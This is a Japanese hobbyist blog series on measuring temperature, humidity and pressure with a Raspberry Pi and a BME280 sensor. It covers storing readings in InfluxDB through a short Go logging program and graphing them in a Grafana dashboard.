画面左側にある Create にある Dashboard をクリックして作成します。 f:id:Armoris:20210310144335p:plain

Dashboard を作成したら真っ先に Save をクリックして Dashboard を保存します。
f:id:Armoris:20210310144403p:plain
Dashboard の名前尋ねられるので、適当な名前に設定し Save をクリックして保存します。
f:id:Armoris:20210310144427p:plain

Panel を作成する

Panel と呼ばれるデータベースの値を視覚化するオブジェクトを作成していよいよ値のグラフ化を行います!
今回は例として温度をグラフ化します。

Panel には様々な設定があるのですが、今回はグラフ化するための最小限の設定を行います。

Add panel をクリックし Panel を作成します。
f:id:Armoris:20210310144514p:plain
Add new panel をクリックし、Panel の設定をしていきます。 f:id:Armoris:20210310144535p:plain

select measurement をクリックし、[その 2]で作成した Measurement を選択します。
f:id:Armoris:20210310144616p:plain
f:id:Armoris:20210310144630p:plain

value をクリックし、グラフ化したい値を選択します。
f:id:Armoris:20210310144724p:plain
今回は温度をグラフ化したいので temperature を選択します。
f:id:Armoris:20210310144740p:plain

Panel の名前を設定します。
本記事では名前を「temperatures」としました。
f:id:Armoris:20210310144802p:plain

Save をクリックして適用と保存を行います。
f:id:Armoris:20210310144821p:plain
変更内容などを書き込む欄があるため必要に応じて書き込み Save をクリックし保存したら完成です。
f:id:Armoris:20210310144837p:plain

完成!!

保存を行ったら完成です!
下記の画像は湿度や気圧などの他の値も同様にグラフ化してみた画像です、とてもいい感じになったはず!
f:id:Armoris:20210310144853p:plain

感想

やっと…グラフ化できた…()
振り返るとそれぞれやる事は単純ですが、センサーからの値を取得できるようにして、それをデータベースに書き込めるようにして、グラフ化する…などやる事がそれなりに多く、全て終えたあと謎の達成感がありました…!

今後は、ラズパイのストレージに使われている SD カードは書き込み耐性が低く、長期間運用するとデータベースが吹っ飛ぶ可能性があるのでデータベースを他のマシンに移行させたいのと、新しくセンサーを買って CO2 濃度を測ってグラフ化出来たりしたら良いなぁ~…なんて考えています。

今後も検証や工作など記事に出来る事を行ったらどんどん記事にする予定です…!お楽しみに!!

Armoris日記 ラズパイと BME280 で温度・湿度・気圧を測って グラフ化して表示する編 [その 2]

このブログは、N 高等学校と VRChat の世界からやってきた株式会社 Armoris アルバイトの Shadero が書いています。
あるもりすぶろぐの内容は個人の意見です。

こんなことがやりたい!

  1. 温度・湿度・気圧を計測する
  2. 計測した値をデータベースに保存する
  3. グラフ化して表示する

本記事は[その 1]の続きです。
[その 2]ではグラフ化する前準備として、計測した値をデータベースに保存するところを行います。

環境

Type Name
Machine Raspberry Pi 3 Model B+
OS Raspbian 10 buster
Temperature, humidity & pressure sensor BME280

使用ソフトウェア

Name Version
Golang 1.15.7
InfluxDB 1.8.3

今回はデータベースに、時系列データに特化した InfluxDB を使用しました。
一般に、時間に紐付いた値を入れたい場合は InfluxDB や GridDB などの時系列データベースを使用すると高速化が見込めると思います。

制作手順

データベースを構築する

ラズパイのストレージに使用される SD カードは、書き込み耐性が低いため、長期運用する場合データベースの構築先はラズパイでない方が良いのですが、今回は構築を優先してラズパイ上に構築します。

InfluxDB をインストールする

InfluxDB は標準では登録されていないのでリポジトリを追加してインストールします。

  1. $ wget -qO- https://repos.influxdata.com/influxdb.key | sudo apt-key add -
  2. $ echo "deb https://repos.influxdata.com/debian buster stable" | sudo tee /etc/apt/sources.list.d/influxdb.list
  3. $ sudo apt-get update && sudo apt-get install influxdb

InfluxDB を起動及び自動起動させる

インストールしただけでは起動していないので起動させます。
また、このままだとラズパイを再起動した際に自動で起動してくれないので自動起動をさせる設定をします。

  1. $ sudo systemctl unmask influxdb.service
  2. $ sudo systemctl start influxdb.service
  3. $ sudo systemctl enable influxdb.service

データベースを作成する

値を保存する用のデータベースを作成します。

  1. Influx へ接続します。
    $ influx

  2. 今回は iot01 という名前のデータベースを作ります。
    CREATE DATABASE iot01

  3. データーベース一覧を見ます。
    iot01 という名前の名前のデータベースがあったら成功です。
    SHOW DATABASES

f:id:Armoris:20210226160452p:plain

ユーザーを作成する

後述するユーザー認証を有効にすると、他ユーザーの権限を変更したり、新しくデーターベースを作る際に管理者権限を持ったユーザーでないと行えないため、管理者ユーザーを作成します。
また、データベースへのデータ投入のためのアプリケーション用にユーザーを作成します。

  1. Influx へ接続します。
    $ influx

  2. 管理者権限を持った root という名前のユーザーを作成します。
    CREATE USER root WITH PASSWORD 'ここにパスワードを書く' WITH ALL PRIVILEGES

  3. データーベースに値を書き込むソフトが使う logger という名前のユーザーを作成します。
    CREATE USER logger WITH PASSWORD 'ここにパスワードを書く'

  4. このままだと何も出来ないので logger ユーザーに書き込み権限を与えます。
    GRANT WRITE ON iot01 TO logger

  5. ユーザー一覧を見ます。
    root と logger という名前のユーザーがあったら成功です。
    SHOW USERS

f:id:Armoris:20210226160512p:plain

ユーザー認証を有効にする

デフォルトではユーザー認証が無効になっており、このままだとどのクライアントからでもユーザー権限の編集やデーターベースの削除などを行えてしまうためユーザー認証を有効にします。

  1. InfluxDB のコンフィグファイルを編集します。
    $ sudo vim /etc/influxdb/influxdb.conf

  2. 260 行付近に下記の画像のようにauth-enabled = trueを挿入します。
    f:id:Armoris:20210226160542p:plain

BME280 のセンサーからの値をデーターベースに書き込むソフトを作り実行する

BME280 のセンサーからの値をデーターベースに書き込むソフトのコードを書きます。
$ vi iot-sensor-logger.go

package main

import (
    "context"
    "fmt"
    "time"

    influxdb2 "github.com/influxdata/influxdb-client-go/v2"
    "github.com/influxdata/influxdb-client-go/v2/api"
    "github.com/quhar/bme280"
    "golang.org/x/exp/io/i2c"
)

func initBme280() (*bme280.BME280, error) {
    d, err := i2c.Open(&i2c.Devfs{Dev: "/dev/i2c-1"}, 0x76) // 0x76は今回使用するBME280のI2Cアドレス
    if err != nil {
        return nil, err
    }

    b := bme280.New(d)
    err = b.Init()
    return b, err
}

func recordSensorValues(b *bme280.BME280, w api.WriteAPIBlocking, measurement string) (err error) {
    t, p, h, err := b.EnvData()
    if err != nil {
        return
    }
    point := influxdb2.NewPoint(
        measurement,
        map[string]string{},
        map[string]interface{}{
            "temperature": t,
            "humidity":    h,
            "pressure":    p,
        },
        time.Now(),
    )
    err = w.WritePoint(context.Background(), point)
    if err != nil {
        return
    }
    fmt.Printf("Temp: %.2fC, Hum: %.2f%%, Press: %.2fhpa\n", t, h, p)
    return
}

func main() {
    const influxURL = "http://localhost:8086"      // InfluxDB APIのURL
    const userName = "logger"                      // influxDBのUser名
    const password = "(loggerユーザーのパスワード)"  // influxDBのUserのPassword
    const db = "iot01"                             // influxDBのDatabase
    const measurement = "sensors"                  // influxDBのMeasurement(存在しない場合は実行時に生成される)
    const recordIntervalSec = 5                      // 値を書き込む間隔(秒)

    b, err := initBme280()
    if err != nil {
        panic(err)
    }
    c := influxdb2.NewClient(influxURL, fmt.Sprintf("%s:%s", userName, password))
    w := c.WriteAPIBlocking("", db+"/autogen")

    ticker := time.NewTicker(recordIntervalSec * time.Second)
    defer ticker.Stop()
    for {
        select {
        case <-ticker.C:
            err = recordSensorValues(b, w, measurement)
            if err != nil {
                panic(err)
            }
        }
    }
}
  1. 先程のコードをラズパイ向けにビルドするように設定してビルドします。
    $ GOOS=linux && GOARCH=arm && GOARM=6
    $ go build ./iot-sensor-logger.go

  2. このままだと実行できないため実行ファイルに実行権限を付与して実行します。
    $ chmod 744 ./iot-sensor-logger
    $ ./iot-sensor-logger

動作確認をする

上記のコードをビルドし、ラズパイ上で実行すると 5 秒ごとに BME280 が計測した温度と湿度と気圧がデーターベースに書き込まれます。
正常に書き込まれているか確認するために、直接データベースを見に行って確認します。

  1. 先程ユーザー認証を有効にした影響で、管理者権限を持ったユーザーでないと値が見れないため root ユーザーで接続します。
    $ influx --username root --password (rootユーザーのパスワード)

  2. 使用するデータベースを選択します。
    USE iot01

  3. 登録されている値を全て確認します。
    下記の画像のように値が登録されていたら成功です。
    SELECT * FROM sensors

f:id:Armoris:20210226160601p:plain

補足

今回はすぐに値が書き込まれてほしかったので 5 秒毎にデーターベースに値を書き込むようにしていますが、本格的に運用するとなると確実に肥大化を招くので、1 分~ 5 分毎くらいに書き込むようにすると良いかもしれません…。

感想

InfluxDB、操作感が MySQL とさほど変わらなくてとても扱いやすかったです…。

次回は今回作成したデーターベースを元に Grafana を使ってグラフ化して表示するところを行います…!